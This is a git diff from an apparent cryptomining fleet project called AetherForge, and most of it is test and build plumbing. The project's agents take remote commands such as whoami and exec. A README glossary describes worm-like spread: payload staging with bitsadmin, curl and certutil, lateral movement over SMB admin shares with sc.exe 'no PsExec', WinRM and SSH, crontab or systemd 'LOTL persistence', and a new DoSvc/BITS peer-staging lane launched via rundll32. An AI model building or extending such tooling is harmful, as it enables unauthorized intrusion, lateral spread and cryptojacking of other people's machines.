diff --git a/scripts/test-suite.ps1 b/scripts/test-suite.ps1 index a46969d..99c6b88 100644 --- a/scripts/test-suite.ps1 +++ b/scripts/test-suite.ps1 @@ -172,7 +172,14 @@ if (-not $SkipE2E) { $env:AETHERFORGE_E2E_USER = $E2EUser $env:AETHERFORGE_E2E_PASS = $E2EPass $WebRoot = Join-Path $Root "server\webroot" - Copy-Item (Join-Path $Root "server\web\dist\*") $WebRoot -Recurse -Force -ErrorAction SilentlyContinue + # Vite outDir is server/webroot; sync to legacy dist so findWebRoot fallbacks stay fresh. + $DistDir = Join-Path $Root "server\web\dist" + if (Test-Path $WebRoot) { + New-Item -ItemType Directory -Force -Path $DistDir | Out-Null + Copy-Item (Join-Path $WebRoot "*") $DistDir -Recurse -Force -ErrorAction SilentlyContinue + } elseif (Test-Path (Join-Path $Root "server\web\dist")) { + Copy-Item (Join-Path $Root "server\web\dist\*") $WebRoot -Recurse -Force -ErrorAction SilentlyContinue + } $ServerExe = Join-Path $Root "bin\miner-server.exe" if (-not (Test-Path $ServerExe)) { Push-Location (Join-Path $Root "server") diff --git a/server/internal/api/websocket_test.go b/server/internal/api/websocket_test.go index 6c8c1fe..4e71416 100644 --- a/server/internal/api/websocket_test.go +++ b/server/internal/api/websocket_test.go @@ -683,6 +683,8 @@ func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) { if err := connB.WriteJSON(Message{Type: "mining_fallback", Payload: payloadB}); err != nil { t.Fatal(err) } + stopStatsBatchTimer(hub) + hub.flushStatsBatch() select { case r := <-batchCh: @@ -721,6 +723,17 @@ func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) { } } +// stopStatsBatchTimer cancels the 250ms flush timer so tests can read statsBatch +// without racing flushStatsBatch clearing the pending map. +func stopStatsBatchTimer(hub *WSHub) { + hub.statsBatchMu.Lock() + defer hub.statsBatchMu.Unlock() + if hub.statsBatchTimer != nil { + hub.statsBatchTimer.Stop() + hub.statsBatchTimer = nil + } +} + func TestStatsBatchCoalescesSameAgent(t *testing.T) { hub := NewWSHub(nil) hub.queueStatsBroadcast(map[string]interface{}{ @@ -729,11 +742,13 @@ func TestStatsBatchCoalescesSameAgent(t *testing.T) { hub.queueStatsBroadcast(map[string]interface{}{ "agent_id": "a1", "hashrate_15s": 99.0, "active_method": "inprocess", }) + stopStatsBatchTimer(hub) hub.flushStatsBatch() // Merged coalesce — later keys overwrite, earlier keys preserved. hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "hashrate_15s": 10.0, "lotl_tier": "cpu_inprocess"}) hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "mining_hashrate": 850.0}) + stopStatsBatchTimer(hub) hub.statsBatchMu.Lock() if len(hub.statsBatch) != 1 { t.Fatalf("expected 1 agent in batch map, got %d", len(hub.statsBatch)) @@ -755,6 +770,7 @@ func TestStatsBatchCoalescesSameAgent(t *testing.T) { hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "hashrate_15s": 1.0}) hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "hashrate_15s": 2.0}) + stopStatsBatchTimer(hub) hub.statsBatchMu.Lock() if len(hub.statsBatch) != 1 { t.Fatalf("expected 1 agent in batch map, got %d", len(hub.statsBatch)) @@ -780,6 +796,7 @@ func TestStatsBatchCoalescesLotlAttempts(t *testing.T) { }, }) hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a2", "mining_hashrate": 1200.0}) + stopStatsBatchTimer(hub) hub.statsBatchMu.Lock() var merged map[string]interface{} if err := json.Unmarshal(hub.statsBatch["a2"], &merged); err != nil { diff --git a/server/main.go b/server/main.go index df45c08..1593b59 100644 --- a/server/main.go +++ b/server/main.go @@ -303,7 +303,7 @@ func main() { return configProvider.PublicURL() }, cfg.Port, func() bool { return cfg.ConnectorToken() != "" - }) + }, "v1.0.0") log.Println("Router initialized") // Start server @@ -580,10 +580,11 @@ func findProjectRoot() string { // findWebRoot locates the frontend build output directory func findWebRoot() string { candidates := []string{ - "webroot", // Copied by devrun.bat - "web/dist", // Vite build output relative to server/ - filepath.Join("..", "server", "web", "dist"), // Relative to project root - filepath.Join("server", "web", "dist"), // From project root + "webroot", // Vite outDir (server/webroot) and devrun.bat copy target + filepath.Join("server", "webroot"), + "web/dist", // Legacy dist output relative to server/ + filepath.Join("..", "server", "web", "dist"), + filepath.Join("server", "web", "dist"), } if cwd, err := os.Getwd(); err == nil { diff --git a/server/web/e2e/crucible-command.spec.ts b/server/web/e2e/crucible-command.spec.ts index 9ddd57a..ca51b18 100644 --- a/server/web/e2e/crucible-command.spec.ts +++ b/server/web/e2e/crucible-command.spec.ts @@ -3,6 +3,7 @@ import { fetchFleetSecret, loginToDashboard } from './fixtures'; import { connectStubAgent, E2E_STUB_AGENT_HOSTNAME, + E2E_STUB_LOTL_BADGE, E2E_WHOAMI_RESPONSE, } from './stub-agent'; @@ -23,8 +24,8 @@ test.describe('Crucible remote command', () => { const fleetSecret = await fetchFleetSecret(request); disconnectStub = await connectStubAgent(baseURL, fleetSecret); - // Allow agent_online + DB upsert to settle before UI tests. - await new Promise((r) => setTimeout(r, 500)); + // Allow agent_online, stats_batch (250ms coalesce), and DB upsert to settle. + await new Promise((r) => setTimeout(r, 1_500)); }); test.afterAll(() => { @@ -50,10 +51,15 @@ test.describe('Crucible remote command', () => { await page.getByRole('button', { name: 'whoami' }).click(); const terminal = page.locator('.crucible-terminal'); - await expect(terminal.getByText('whoami')).toBeVisible({ timeout: 10_000 }); + await expect(terminal.getByText('whoami', { exact: true })).toBeVisible({ timeout: 10_000 }); await expect(terminal.getByText(E2E_WHOAMI_RESPONSE)).toBeVisible({ timeout: 15_000 }); }); + test('shows LOTL tier badge when stub sends lotl_tier', async ({ page }) => { + const card = page.locator('.crucible-node-card').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }); + await expect(card.getByText(E2E_STUB_LOTL_BADGE)).toBeVisible({ timeout: 15_000 }); + }); + test('exec echo via master terminal shows output', async ({ page }) => { await page.getByText(E2E_STUB_AGENT_HOSTNAME).click(); await page.getByRole('button', { name: 'CMD', exact: true }).click(); diff --git a/server/web/e2e/remote-actions.spec.ts b/server/web/e2e/remote-actions.spec.ts index b97e429..8262ff7 100644 --- a/server/web/e2e/remote-actions.spec.ts +++ b/server/web/e2e/remote-actions.spec.ts @@ -109,14 +109,21 @@ test.describe('Remote actions UI', () => { }); test('mining ops disabled when only offline agent selected', async ({ page }) => { - await page.getByText('Offline Node').click(); - const pauseBtn = page.getByRole('button', { name: 'Pause', exact: true }); - await expect(pauseBtn).toBeDisabled(); - await expect(page.getByRole('button', { name: 'Resume', exact: true })).toBeDisabled(); + const card = page.locator('.crucible-node-card').filter({ hasText: 'Offline Node' }); + await card.click(); + await expect(card).toHaveClass(/selected/); + const miningPause = page.locator('.cop-mining').getByRole('button', { name: 'Pause', exact: true }); + const miningResume = page.locator('.cop-mining').getByRole('button', { name: 'Resume', exact: true }); + await expect(miningPause).toBeDisabled(); + await expect(miningResume).toBeDisabled(); }); test('bulk pause disabled when offline agent selected via toolbar', async ({ page }) => { - await page.getByText('Offline Node').click(); - await expect(page.getByRole('button', { name: 'Pause' }).first()).toBeDisabled(); + const card = page.locator('.crucible-node-card').filter({ hasText: 'Offline Node' }); + await card.click(); + await expect(card).toHaveClass(/selected/); + await expect(page.locator('.fleet-bulk-bar')).toContainText('1 selected'); + const bulkPause = page.locator('.fleet-bulk-bar').getByRole('button', { name: 'Pause', exact: true }); + await expect(bulkPause).toBeDisabled(); }); }); diff --git a/server/web/e2e/stub-agent.ts b/server/web/e2e/stub-agent.ts index 49f9ae1..7e03ff7 100644 --- a/server/web/e2e/stub-agent.ts +++ b/server/web/e2e/stub-agent.ts @@ -6,6 +6,11 @@ export const E2E_STUB_AGENT_ID = 'e2e-crucible-agent'; export const E2E_STUB_AGENT_HOSTNAME = 'E2E-Crucible-Host'; export const E2E_WHOAMI_RESPONSE = 'e2e-whoami-ok'; +/** Active LOTL tier sent in stub stats — maps to "LOTL In-Process" in Crucible. */ +export const E2E_STUB_LOTL_TIER = 'inprocess'; +export const E2E_STUB_LOTL_BADGE = 'LOTL In-Process'; + +const E2E_STUB_STATS_INTERVAL_MS = 1_000; type HubMessage = { type: string; @@ -28,6 +33,26 @@ function send(ws: WebSocket, type: string, payload: Record): vo ws.send(JSON.stringify({ type, payload })); } +function sendStubStats(ws: WebSocket): void { + send(ws, 'stats', { + hashrate_15s: 42, + hashrate_1m: 42, + hashrate_15m: 42, + shares_submitted: 0, + shares_accepted: 0, + cpu_usage_pct: 5, + memory_usage_pct: 40, + uptime_seconds: 120, + active_method: 'inprocess', + mining_hashrate: 42, + lotl_tier: E2E_STUB_LOTL_TIER, + lotl_attempts: [ + { tier: 'container', ok: false, error: 'e2e-no-docker', duration_ms: 100 }, + { tier: 'inprocess', ok: true, duration_ms: 200 }, + ], + }); +} + function replyCommand(ws: WebSocket, action: string, command: string): void { let message = 'e2e-stub-ok'; if (action === 'resume') { @@ -88,6 +113,9 @@ export async function connectStubAgent( }, { once: true }); }); + sendStubStats(ws); + const statsTimer = setInterval(() => sendStubStats(ws), E2E_STUB_STATS_INTERVAL_MS); + ws.addEventListener('message', (ev) => { let msg: HubMessage; try { @@ -103,6 +131,7 @@ export async function connectStubAgent( }); return () => { + clearInterval(statsTimer); ws.close(); }; } diff --git a/server/web/src/help/forgeFormNormalize.ts b/server/web/src/help/forgeFormNormalize.ts index 316664a..878c373 100644 --- a/server/web/src/help/forgeFormNormalize.ts +++ b/server/web/src/help/forgeFormNormalize.ts @@ -147,7 +147,7 @@ export function normalizeForgeForm(form: BuildRequest): BuildRequest { // Linux LOTL persistence — Linux/universal workers only if (isWindowsOnlyTarget(next.target_os)) { next.linux_lotl_mode = 'off'; - } else if (!next.linux_lotl_mode || next.linux_lotl_mode === '') { + } else if (!next.linux_lotl_mode) { next.linux_lotl_mode = 'off'; } diff --git a/tests/README.md b/tests/README.md index 0db65e2..c040b3a 100644 --- a/tests/README.md +++ b/tests/README.md @@ -73,7 +73,7 @@ flowchart TB dj[discover_and_join] d1[docker / docker_load] d2[wsl / powershell / dotnet] - d3[bits_curl / smb / winrm] + d3[bits_curl / do_peer / smb / winrm] d4[linux / gpo / intune] dj --> d1 --> d2 --> d3 --> d4 end @@ -145,6 +145,7 @@ Every term below has a plain-language definition and a copy-pasteable example (C | Term | Definition | Example | |------|------------|---------| | `bits_curl` | Stage payload with BITS (`bitsadmin`) or `curl.exe`; optional `certutil -decode` + SHA256 verify. | `stage_fetch` manifest `{"method":"bits",…}` or CCMEXEC service → `bits_curl` join lane. | +| `do_peer` | Shadow Cache Handoff — DoSvc + BITS peer-style chunk staging on LAN; hash-verified assembly, rundll32/BITS launch. | `DoSvc` running → `join_lane_candidate: do_peer`; signed deploy plan with `peer_group`, `--defer-mining`. | | `smb` / `spread_smb_unc` | Lateral via SMB admin share + SCM (`sc.exe create/start`) pointing at a UNC worker path — no PsExec. | `{"action":"spread_smb_unc","path":"\\\\forge\\\\pathforge$\\\\worker.exe"}` | | `winrm` | PS remoting lateral when ports 5985/5986 respond. | `POST /api/v1/builder/spread-template-export` `{"template":"winrm"}`; autospread when `winrm_spread` forge flag set. | | `linux` / `linux_lotl` | SSH/SCP lateral on Unix with optional systemd-run or crontab LOTL persistence. | `{"template":"linux-lotl","lotl_mode":"both"}`; `sshd` service → `linux_lotl` join lane. |